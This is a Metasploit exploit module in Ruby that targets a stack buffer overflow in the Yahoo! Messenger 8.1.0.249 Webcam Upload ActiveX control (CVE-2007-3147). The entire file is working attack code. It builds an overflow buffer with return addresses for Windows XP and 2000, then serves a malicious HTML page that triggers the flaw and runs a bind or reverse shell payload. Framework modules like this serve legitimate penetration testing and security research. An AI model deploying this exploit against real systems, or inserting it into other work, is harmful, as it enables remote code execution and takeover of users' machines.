##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpServer::HTML

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Yahoo! Messenger 8.1.0.249 ActiveX Control Buffer Overflow',
      'Description'    => %q{
          This module exploits a stack buffer overflow in the Yahoo! Webcam Upload ActiveX
        Control (ywcupl.dll) provided by Yahoo! Messenger version 8.1.0.249.
        By sending a overly long string to the "Server()" method, and then calling
        the "Send()" method, an attacker may be able to execute arbitrary code.
        Using the payloads "windows/shell_bind_tcp" and "windows/shell_reverse_tcp"
        yield for the best results.
      },
      'License'        => MSF_LICENSE,
      'Author'         => [ 'MC' ],
      'References'     =>
        [
          [ 'CVE', '2007-3147' ],
          [ 'OSVDB', '37082' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
        },
      'Payload'        =>
        {
          'Space'         => 800,
          'BadChars'      => "\x00\x09\x0a\x0d'\\",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Windows XP SP0/SP1 Pro English',     { 'Offset' => 1032, 'Ret' => 0x71aa32ad } ],
          [ 'Windows 2000 Pro English All',       { 'Offset' => 1032, 'Ret' => 0x75022ac4 } ]
        ],
      'DisclosureDate' => 'Jun 5 2007',
      'DefaultTarget'  => 0))
  end

  def on_request_uri(cli, request)
    # Re-generate the payload
    return if ((p = regenerate_payload(cli)) == nil)

    # Randomize some things
    vname	= rand_text_alpha(rand(100) + 1)
    strname	= rand_text_alpha(rand(100) + 1)

    # Set the exploit buffer
    sploit =  rand_text_alpha(target['Offset'] - p.encoded.length) + p.encoded
    sploit << Rex::Arch::X86.jmp_short(6) + make_nops(2) + [target.ret].pack('V')
    sploit << [0xe8, -775].pack('CV') + rand_text_alpha(500)

    # Build out the message
    content = %Q|<html>
<object classid='clsid:DCE2F8B1-A520-11D4-8FD0-00D0B7730277' id='#{vname}'></object>
<script language='javascript'>
#{strname} = new String('#{sploit}')
#{vname}.server = #{strname}
#{vname}.send()
</script>
</html>
|

    print_status("Sending #{self.name}")

    # Transmit the response to the client
    send_response_html(cli, content)

    # Handle the payload
    handler(cli)
  end
end
